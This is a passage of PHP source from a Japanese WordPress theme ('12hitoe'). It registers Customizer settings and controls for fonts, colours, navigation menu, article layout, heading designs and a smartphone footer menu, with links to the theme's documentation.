'残像(英)', 'value5' => '近未来(英)', 'value6' => '切り抜き(英)', 'value7' => '手書き風(英)', 'value8' => 'カクカク(日・英)', 'value9' => 'はんなり(日)', 'value10' => 'にくきゅう(日)' ), 'section' => 'site_font', )); $wp_customize->add_setting('site_font_body', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_font_body', array( 'label' => '5-2.サイト全体のフォント', 'description' => '現在7種類からお選びいただけます。日英対応しています。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m5-2" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デフォルト', 'value2' => 'きっちり', 'value3' => '柔らかい', 'value4' => 'ゴシック', 'value5' => 'タイムマシーン', 'value6' => 'せのび', 'value7' => '木漏れ日', ), 'section' => 'site_font', )); $wp_customize->add_setting('site_font_body_only_heading', array( 'default' => false, 'type' => 'option', )); $wp_customize->add_control('site_font_body_only_heading', array( 'label' => '5-3.前項を記事見出しにのみ適用', 'description' => 'チェックを入れると、5-2で設定した項目を記事内の見出しにのみ適用します。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m5-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'sanitize_callback' => 'sanitize_checkbox', 'section' => 'site_font', )); $wp_customize->add_setting('site_font_title_size', array( 'default' => 160, 'type' => 'option', )); $wp_customize->add_control('site_font_title_size', array( 'label' => '5-4.サイトタイトルの文字サイズ', 'description' => '文字サイズが調節できます。あまり大きくし過ぎてしまうとヘッダーからはみ出てしまうのでご注意ください。(デフォルト:160)詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m5-4" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_font', )); $wp_customize->add_setting('site_font_pc_size', array( 'default' => 100, 'type' => 'option', )); $wp_customize->add_control('site_font_pc_size', array( 'label' => '5-5.【PC】サイトの文字サイズ', 'description' => '961px以上の画面幅で適用されます。(デフォルト:100)詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m5-5_5-6_5-7" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_font', )); $wp_customize->add_setting('site_font_tab_size', array( 'default' => 98, 'type' => 'option', )); $wp_customize->add_control('site_font_tab_size', array( 'label' => '5-6.【タブレット】サイトの文字サイズ', 'description' => '561〜960pxまでの画面幅で適用されます。(デフォルト:98)詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m5-5_5-6_5-7" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_font', )); $wp_customize->add_setting('site_font_sp_size', array( 'default' => 95, 'type' => 'option', )); $wp_customize->add_control('site_font_sp_size', array( 'label' => '5-7.【スマホ】サイトの文字サイズ', 'description' => '320〜560pxまでの画面幅で適用されます。(デフォルト:95)詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m5-5_5-6_5-7" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_font', 'type' => 'number', )); $wp_customize->add_section('site_color',array( 'priority' => 6, 'title' => '6.色の設定', 'description' => '各パーツごとに色が設定できます。', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_color_main', array( 'type' => 'option', 'default' => '#1a2760', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_main', array( 'label' => '6-1.メインカラー', 'description' => '見出しやボタンなど様々な場所で使用されます。濃い色を設定しましょう。詳しい適用箇所や決め方に迷っている方は<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m6-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_sub', array( 'type' => 'option', 'default' => '#3bb3fa', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_sub', array( 'label' => '6-2.サブカラー', 'description' => '見出しやボタンなど様々な場所で使用されます。濃い色に比べて薄い色を設定しましょう。詳しい適用箇所や決め方に迷っている方は<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m6-2" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_acc', array( 'type' => 'option', 'default' => '#ff3f3f', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_acc', array( 'label' => '6-3.アクセントカラー', 'description' => '見出しやボタンなど様々な場所で使用されます。メインカラーの補色系統の色を設定しましょう。詳しい適用箇所や決め方に迷っている方は<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m6-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_nav_bk', array( 'type' => 'option', 'default' => '#1a2760', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_nav_bk', array( 'label' => '6-4.ナビバーの背景色', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_nav_bk_grad', array( 'type' => 'option', 'default' => '#9287e5', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_nav_bk_grad', array( 'label' => '6-5.ナビバーの背景色(2色目)', 'description' => '2色目を選択するとグラデーション仕様になります。', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_nav_color', array( 'type' => 'option', 'default' => '#ffffff' )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_nav_color', array( 'label' => '6-6.ナビバーの文字色', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_body_bk', array( 'type' => 'option', 'default' => '#f5f5f5', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_body_bk', array( 'label' => '6-7.コンテンツエリア全体の背景色', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_body_color', array( 'type' => 'option', 'default' => '#2b546a', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_body_color', array( 'label' => '6-8.コンテンツエリア全体の文字色', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_widget_bk', array( 'type' => 'option', 'default' => '#ffffff', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_widget_bk', array( 'label' => '6-9.サイドバーのウィジェット背景色', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_footer_bk_color', array( 'type' => 'option', 'default' => '#1a2760', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_footer_bk_color', array( 'label' => '6-10.フッターの背景色', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_footer_color', array( 'type' => 'option', 'default' => '#ffffff', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_footer_color', array( 'label' => '6-11.フッターの文字色', 'section' => 'site_color', ))); $wp_customize->add_setting('site_color_a_tag_color', array( 'type' => 'option', 'default' => '#2d6eef;', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_color_a_tag_color', array( 'label' => '6-12.リンクの文字色', 'section' => 'site_color', ))); $wp_customize->add_section('site_nav',array( 'priority' => 7, 'title' => '7.ナビメニューの設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_nav_width',array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_width',array( 'label' => '7-1.ナビメニューの横幅に上限を設ける', 'description' => 'コンテンツエリア(記事とサイドバーの部分)に設けている横幅とナビメニューの横幅を合わせます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_centering_title', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_centering_title', array( 'label' => '7-2.サイトタイトルを中央寄せにする', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-2" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_fixed_top', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_fixed_top', array( 'label' => '7-3.ナビメニューをサイト上部に固定する', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_fixed_top_anime',array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_fixed_top_anime',array( 'label' => '7-4.ナビメニューの固定に伴うアニメーション', 'description' => 'ナビメニューをサイト上部に固定する際に内部のロゴやメニューボタンが小さくなります。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-4" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_transparentable',array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_transparentable',array( 'label' => '7-5.ナビメニューの背景透明化', 'description' => 'ナビメニューを透明化します。透明化すると背景が擦りガラス風になります(一部のブラウザでは適用されません)。色項目で設定した色は反映されなくなります。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-5" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_menu_icon',array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_nav_menu_icon',array( 'label' => '7-6.メニューアイコン', 'description' => 'スマホ閲覧時のメニューアイコンを変更できます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-6" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', 'value3' => 'デザイン3', 'value4' => 'デザイン4', ), 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_extended', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_extended', array( 'label' => '7-7.ナビメニューにコンテンツを追加する(開発中)', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_extended_text', array( 'default' => 'これはサンプルです', 'type' => 'option', )); $wp_customize->add_control('site_nav_extended_text', array( 'label' => '7-8.追加するコンテンツのテキスト(開発中)', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_extended_uri', array( 'default' => 'https://takasaki.work/12hitoe', 'type' => 'option', )); $wp_customize->add_control('site_nav_extended_uri', array( 'label' => '7-9.追加するコンテンツのボタンリンク先(URL)', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_list1', array( 'type' => 'option', )); $wp_customize->add_control('site_nav_list1', array( 'label' => '7-10.メニューの下の英文字1', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-10" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_list2', array( 'type' => 'option', )); $wp_customize->add_control('site_nav_list2', array( 'label' => '7-11.メニューリストの下の英文字2', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_list3', array( 'type' => 'option', )); $wp_customize->add_control('site_nav_list3', array( 'label' => '7-12.メニューリストの下の英文字3', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_list4', array( 'type' => 'option', )); $wp_customize->add_control('site_nav_list4', array( 'label' => '7-13.メニューリストの下の英文字4', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_list5', array( 'type' => 'option', )); $wp_customize->add_control('site_nav_list5', array( 'label' => '7-14.メニューリストの下の英文字5', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_sp_sideauthor', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_sp_sideauthor', array( 'label' => '7-15.スマホで表示されるメニューで運営者プロフィールを非表示', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-15" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_sp_sideauthor_bkimg', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_nav_sp_sideauthor_bkimg', array( 'label' => '7-16.運営者プロフィールの背景画像', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-16" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_nav', ))); $wp_customize->add_setting('site_nav_sp_sideauthor_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_nav_sp_sideauthor_img', array( 'label' => '7-17.運営者プロフィール画像', 'description' => 'SEOに効果があるとされる構造化データでも使用されます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-17_7-18" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_nav', ))); $wp_customize->add_setting('site_nav_sp_sideauthor_name', array( 'default' => '運営者名', 'type' => 'option', )); $wp_customize->add_control('site_nav_sp_sideauthor_name', array( 'label' => '7-18.運営者の名前', 'description' => 'SEOに効果があるとされる構造化データでも使用されます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-17_7-18" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_sp_sideauthor_mail', array( 'default' => '<EMAIL>', 'type' => 'option', )); $wp_customize->add_control('site_nav_sp_sideauthor_mail', array( 'label' => '7-19.運営者の連絡先', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_sp_sidemenu', array( 'default' => 'MENU', 'type' => 'option', )); $wp_customize->add_control('site_nav_sp_sidemenu', array( 'label' => '7-20.スマホで表示されるサイドメニューのタイトル', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-20" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_nav', )); $wp_customize->add_setting('site_nav_sp_menu_menu', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_nav_sp_menu_menu', array( 'label' => '7-21.スマホで表示されるサイドメニューでメニューを非表示', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m7-21" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_nav', )); $wp_customize->add_section('site_article',array( 'priority' => 8, 'title' => '8.記事の設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_article_list_type', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_article_list_type', array( 'label' => '8-1.記事一覧のデザイン', 'description' => 'トップ画面で表示する記事一覧のデザイン。現在4種類からお選びいただけます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', 'value3' => 'デザイン3', 'value4' => 'デザイン4', 'value5' => 'デザイン5', 'value6' => 'デザイン6', 'value7' => 'デザイン7', ), 'section' => 'site_article', )); $wp_customize->add_setting('site_article_type' ,array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_article_type', array( 'label' => '8-2.記事ページデザイン(開発中)', 'description' => '記事詳細画面のデザイン設定。', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', 'value3' => 'デザイン3', 'value4' => 'デザイン4', ), 'section' => 'site_article' )); $wp_customize->add_setting('site_article_p_margin', array( 'default' => 0.5, 'type' => 'option', )); $wp_customize->add_control('site_article_p_margin', array( 'label' => '8-3.pタグ下の余白調整', 'description' => 'pタグ下の余白を設定します。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_authorable', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_article_authorable', array( 'label' => '8-4.「この記事を書いた人」を非表示', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-4" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_author_ttl', array( 'default' => 'この記事を書いた人', 'type' => 'option', )); $wp_customize->add_control('site_article_author_ttl', array( 'label' => '8-5.「この記事を書いた人」のタイトル', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-5" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_relatedable', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_setting('site_article_author_sns_ttl', array( 'default' => 'Follow Me:)', 'type' => 'option', )); $wp_customize->add_control('site_article_author_sns_ttl', array( 'label' => '8-6.SNSフォロー欄のタイトル', 'type' => 'text', 'section' => 'site_article', )); $wp_customize->add_control('site_article_relatedable', array( 'label' => '8-7.関連記事を非表示', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-7" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_related_ttl', array( 'default' => '関連記事', 'type' => 'option', )); $wp_customize->add_control('site_article_related_ttl', array( 'label' => '8-8.関連記事部分のタイトル', 'type' => 'text', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_related_design', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_article_related_design', array( 'label' => '8-9.関連記事のデザイン', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-9" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', ), 'section' => 'site_article', )); $wp_customize->add_setting('site_article_share', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_article_share', array( 'label' => '8-10.記事内シェアボタンの位置', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-10" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'アイキャッチ下と本文下', 'value2' => 'アイキャッチ下のみ', 'value3' => '本文下のみ', 'value4' => '表示しない', ), 'section' => 'site_article', )); $wp_customize->add_setting('site_article_sharebf_type', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_article_sharebf_type', array( 'label' => '8-11.アイキャッチ下シェアボタンのデザイン', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-11_8-12" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', 'value3' => 'デザイン3', 'value4' => 'デザイン4', 'value5' => 'デザイン5', ), 'section' => 'site_article', )); $wp_customize->add_setting('site_article_shareaf_type', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_article_shareaf_type', array( 'label' => '8-12.本文下シェアボタンのデザイン', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-11_8-12" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', 'value3' => 'デザイン3', 'value4' => 'デザイン4', 'value5' => 'デザイン5', ), 'section' => 'site_article', )); $wp_customize->add_setting('site_article_share_ttl', array( 'default' => 'SHARE', 'type' => 'option', )); $wp_customize->add_control('site_article_share_ttl', array( 'label' => '8-13.記事下シェアボタンのタイトル', 'type' => 'text', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_toc', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_article_toc', array( 'label' => '8-14.目次を非表示', 'description' => 'チェックを入れると投稿ページで目次が表示されなくなります。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-14" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_toc_page', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_article_toc_page', array( 'label' => '8-15.固定ページでも目次を表示', 'description' => '固定ページでも目次が表示されます。デフォルトはオフです。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-15" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_toc_ttl', array( 'default' => 'CONTENT', 'type' => 'option', )); $wp_customize->add_control('site_article_toc_ttl', array( 'label' => '8-16.目次のタイトル', 'type' => 'text', 'section' => 'site_article', )); $wp_customize->add_setting('site_article_toc_design', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_article_toc_design', array( 'label' => '8-17.目次のデザイン', 'description' => '記事側で表示される目次のデザインです。(サイドバーの目次には適用されません)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m8-17" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', 'value3' => 'デザイン3', 'value4' => 'デザイン4', 'value5' => 'デザイン5', ), 'section' => 'site_article', )); $wp_customize->add_setting('site_article_comment_ttl', array( 'default' => 'COMMENT', 'type' => 'option', )); $wp_customize->add_control('site_article_comment_ttl', array( 'label' => '8-18.コメント欄のタイトル', 'description' => 'コメント欄のタイトルです。使用しない場合はWordPress管理画面の設定から非表示にできます。詳しくはこちら', 'type' => 'text', 'section' => 'site_article', )); $wp_customize->add_section('site_decoration',array( 'priority' => 9, 'title' => '9.記事装飾の設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_decoration_bread', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_decoration_bread', array( 'label' => '9-1.パンくずリストのデザイン', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m9-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', ), 'section' => 'site_decoration', )); $wp_customize->add_setting('site_decoration_h2_type', array( 'default' => 'type1', 'type' => 'option', )); $wp_customize->add_control('site_decoration_h2_type', array( 'label' => '9-2.記事内の見出し(h2)デザイン', 'description' => '記事内の見出しを一括で変更できます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m9-2" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'type1' => 'デザイン1', 'type2' => 'デザイン2', 'type3' => 'デザイン3', 'type4' => 'デザイン4', 'type5' => 'デザイン5', 'type6' => 'デザイン6', 'type7' => 'デザイン7', 'type8' => 'デザイン8', ), 'section' => 'site_decoration', )); $wp_customize->add_setting('site_decoration_h3_type', array( 'default' => 'type2', 'type' => 'option', )); $wp_customize->add_control('site_decoration_h3_type', array( 'label' => '9-3.記事内の見出し(h3)デザイン', 'description' => '記事内の見出しを一括で変更できます', 'type' => 'radio', 'choices' => array( 'type1' => 'デザイン1', 'type2' => 'デザイン2', 'type3' => 'デザイン3', 'type4' => 'デザイン4', 'type5' => 'デザイン5', 'type6' => 'デザイン6', 'type7' => 'デザイン7', 'type8' => 'デザイン8', ), 'section' => 'site_decoration', )); $wp_customize->add_setting('site_decoration_h4_type', array( 'default' => 'type3', 'type' => 'option', )); $wp_customize->add_control('site_decoration_h4_type', array( 'label' => '9-4.記事内の見出し(h4)デザイン', 'description' => '記事内の見出しを一括で変更できます', 'type' => 'radio', 'choices' => array( 'type1' => 'デザイン1', 'type2' => 'デザイン2', 'type3' => 'デザイン3', 'type4' => 'デザイン4', 'type5' => 'デザイン5', 'type6' => 'デザイン6', 'type7' => 'デザイン7', 'type8' => 'デザイン8', ), 'section' => 'site_decoration', )); $wp_customize->add_setting('site_decoration_image_box', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_decoration_image_box', array( 'label' => '9-5.記事内画像のポップアップ機能をオフ', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m9-5" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_decoration', )); $wp_customize->add_setting('site_decoration_a_tag_icon', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_decoration_a_tag_icon', array( 'label' => '9-6.記事内リンクに自動でアイコンをつける機能をオフ', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m9-6" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_decoration', )); $wp_customize->add_section('site_footer',array( 'priority' => 10, 'title' => '10.フッターの設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_footer_gototop', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_footer_gototop', array( 'label' => '10-1.トップへ戻るボタンを表示する', 'description' => '詳しくはこちら', 'type' => 'checkbox', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_share', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_footer_share', array( 'label' => '10-2.シェアボタンを表示する', 'description' => '詳しくはこちら', 'type' => 'checkbox', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_footer_sp_menu', array( 'label' => '10-3.スマホで独自フッターメニューを表示', 'description' => '詳しくはこちら', 'type' => 'checkbox', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_design', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_design', array( 'label' => '10-4.独自フッターメニューのデザイン', 'description' => '詳しくはこちら', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', ), 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li1_icon', array( 'default' => '<i class="fas fa-bars"></i>', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li1_icon', array( 'label' => '10-5.独自フッターメニュー1のアイコン', 'description' => '空白にするとその他の項目の大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li1_ttl', array( 'default' => 'MENU', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li1_ttl', array( 'label' => '10-6.独自フッターメニュー1のテキスト', 'description' => '空白にするとアイコンの大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li1_uri', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li1_uri', array( 'label' => '10-7.独自フッターメニュー1のリンク先', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li2_icon', array( 'default' => '<i class="fas fa-paper-plane"></i>', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li2_icon', array( 'label' => '10-8.独自フッターメニュー2のアイコン', 'description' => '空白にするとその他の項目の大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li2_ttl', array( 'default' => 'Contact', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li2_ttl', array( 'label' => '10-9.独自フッターメニュー2のテキスト', 'description' => '空白にするとアイコンの大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li2_uri', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li2_uri', array( 'label' => '10-10.独自フッターメニュー2のリンク先', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li3_icon', array( 'default' => '<i class="fas fa-home"></i>', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li3_icon', array( 'label' => '10-11.独自フッターメニュー3のアイコン', 'description' => '空白にするとその他の項目の大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li3_ttl', array( 'default' => 'HOME', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li3_ttl', array( 'label' => '10-12.独自フッターメニュー3のテキスト', 'description' => '空白にするとアイコンの大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li3_uri', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li3_uri', array( 'label' => '10-13.独自フッターメニュー3のリンク先', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li4_icon', array( 'default' => '<i class="fas fa-phone"></i>', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li4_icon', array( 'label' => 